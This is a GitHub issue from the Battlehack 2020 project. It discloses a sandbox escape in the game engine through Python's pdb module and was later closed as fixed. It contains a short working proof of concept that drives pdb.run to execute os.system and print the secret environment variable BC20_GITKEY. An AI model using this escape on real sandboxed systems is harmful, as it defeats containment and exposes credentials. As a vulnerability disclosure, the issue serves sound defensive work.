Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Pdb opens up exploit #135

Closed
arvid220u opened this issue Apr 24, 2020 · 1 comment
Closed

Pdb opens up exploit #135

arvid220u opened this issue Apr 24, 2020 · 1 comment
Labels
engine l33t-h4ck3r-$$$ Winner of the Battlehack 2020 l33t h4ck3r prize!

Comments

@arvid220u
Copy link
Contributor

It opens up the following exploit:

import pdb
from pdb import Pdb
class Hi:
    def write(self, x):
        pass
    def flush(self):
        pass
    def readline(self):
        return "c\n"
mypdb = pdb.Pdb(stdout = Hi(), stdin=Hi(), nosigint=True)
mypdb.run("import os")
mypdb.run("os.system(\"echo $BC20_GITKEY\")")

The fact that pdb might be a vulnerability was reported by a user who would like to remain anonymous.

@arvid220u arvid220u added engine l33t-h4ck3r-$$$ Winner of the Battlehack 2020 l33t h4ck3r prize! labels Apr 24, 2020
@arvid220u
Copy link
Contributor Author

fixed in #117

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
engine l33t-h4ck3r-$$$ Winner of the Battlehack 2020 l33t h4ck3r prize!
Projects
None yet
Development

No branches or pull requests

1 participant